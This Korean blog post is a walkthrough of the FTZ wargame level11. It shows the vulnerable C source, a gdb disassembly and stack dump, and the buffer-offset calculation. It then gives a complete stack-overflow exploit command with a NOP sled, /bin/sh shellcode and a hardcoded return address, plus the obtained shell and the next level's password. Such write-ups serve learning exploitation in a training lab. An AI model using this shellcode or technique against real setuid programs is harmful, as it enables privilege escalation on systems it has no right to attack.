sweetchip's blog


안녕하세요 sweetchip입니다.


오랜만에 시스템 해킹문제를 풀어봤는데 생각보다 기억이 잘 안나서 더듬더듬 하면서 30분 만에 성공했습니다.


nop 썰매를 사용했엇는데 많이 헷갈리네요 ~_~


개인적으로 시스템 해킹이 가장 어려운거같네요.. 대회나가서도 한문제도 못풀고 흑흑..



먼저 ftz에 접속합니다


ID : level11

pass : what!@#$?



[level11@ftz level11]$ cat hint


#include

#include


int main( int argc, char *argv[] )

{

char str[256];


setreuid( 3092, 3092 );

strcpy( str, argv[1] );

printf( str );

}


str에 256만큼 할당이 되어있습니다.


취약점은 밑줄 친 부분에서 일어나게 됩니다.


strcpy는 문자열을 그대로 가져다 붙이는 건데요, 문자열 길이 검사를 하지않아 오버플로우 취약점이 발생됩니다.


어! 가만보니


[level11@ftz level11]$ cat hint


#include

#include


int main( int argc, char *argv[] )

{

char str[256];


setreuid( 3092, 3092 );

strcpy( str, argv[1] );

printf( str );

}


포맷스트링버그 취약점도 있습니다.


하지만 오늘은 버퍼오버플로우 취약점을 이용해서 풀이해보도록 하겠습니다.


[level11@ftz level11]$ gdb attackme

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x08048470

: push �p

0x08048471

: mov %esp,�p

0x08048473

: sub $0x108,%esp // 0x108만큼 할당.

0x08048479

: sub $0x8,%esp

0x0804847c

: push $0xc14

0x08048481

: push $0xc14

0x08048486

: call 0x804834c

0x0804848b

: add $0x10,%esp

0x0804848e

: sub $0x8,%esp

0x08048491

: mov 0xc(�p),�x

0x08048494

: add $0x4,�x

0x08048497

: pushl (�x)

0x08048499

: lea 0xfffffef8(�p),�x

0x0804849f

: push �x

0x080484a0

: call 0x804835c 취약점 발생부분

0x080484a5

: add $0x10,%esp 이곳에 BreakPoint

0x080484a8

: sub $0xc,%esp

0x080484ab

: lea 0xfffffef8(�p),�x

0x080484b1

: push �x

0x080484b2

: call 0x804833c

0x080484b7

: add $0x10,%esp

0x080484ba

: leave

0x080484bb

: ret

0x080484bc

: nop

0x080484bd

: nop

0x080484be

: nop

0x080484bf

: nop

End of assembler dump.

(gdb)


대강 이런 코드가 있습니다.


주석은 위에 달아 둿습니다.


(gdb) b *main 53

Breakpoint 1 at 0x80484a5

(gdb) run `perl -e 'print "\x90"x264'`

Starting program: /home/level11/attackme `perl -e 'print "\x90"x264'`


Breakpoint 1, 0x080484a5 in main ()

(gdb) x/64

0x0: Cannot access memory at address 0x0

(gdb) x/64 $esp

0xbffff8b0: 0xbffff8c0 0xbffffb1d 0xbffff8e0 0x00000001

0xbffff8c0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff8d0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff8e0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff8f0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff900: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff910: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff920: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff930: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff940: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff950: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff960: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff970: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff980: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff990: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff9a0: 0x90909090 0x90909090 0x90909090 0x90909090

(gdb)

0xbffff9b0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff9c0: 0x90909090 0x90909090 0xbffff900 0x40033917

0xbffff9d0: 0x00000002 0xbffffa14 0xbffffa20 0x4001582c

0xbffff9e0: 0x00000002 0x08048370 0x00000000 0x08048391

0xbffff9f0: 0x08048470 0x00000002 0xbffffa14 0x080482e4

0xbffffa00: 0x08048500 0x4000c660 0xbffffa0c 0x00000000

0xbffffa10: 0x00000002 0xbffffb06 0xbffffb1d 0x00000000

0xbffffa20: 0xbffffc26 0xbffffc44 0xbffffc4f 0xbffffc5f

0xbffffa30: 0xbffffc6d 0xbffffc91 0xbffffca4 0xbffffcb7

0xbffffa40: 0xbffffcc4 0xbffffe87 0xbffffea4 0xbffffee7

0xbffffa50: 0xbffffefc 0xbfffff0e 0xbfffff1f 0xbfffff30

0xbffffa60: 0xbfffff38 0xbfffff4b 0xbfffff6a 0xbfffff7a

0xbffffa70: 0xbfffffae 0xbfffffd0 0x00000000 0x00000010

0xbffffa80: 0x0febfbff 0x00000006 0x00001000 0x00000011

0xbffffa90: 0x00000064 0x00000003 0x08048034 0x00000004

0xbffffaa0: 0x00000020 0x00000005 0x00000006 0x00000007

(gdb)


0xbffff8c0 부터 nop이 저장이 되기 시작합니다.

같은말로 char로 선언된 str은 저곳부터 저장하기 시작합니다.

그러므로 우리는 str에 쉘코드를 넣고 리턴어드레스를 0xbffff8c0 로 돌리면 exploit 을 성공할것입니다.

이제 공격을 할 차례입니다.

저는 nop 썰매를 이용할 예정이구요,

code[264] sfp[4] ret[4] = 272byte

nop[100] Shellcode[25] nop[143] ret[4] 총 272 바이트의 공격 구문입니다.


[level11@ftz level11]$ ./attackme `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","\x90"x143,"\xb0\xf8\xff\xbf"'`
sh-2.05b$

성공적으로 쉘을 획득했습니다.

sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".

sh-2.05b$

Password is it is like this

신고

댓글 0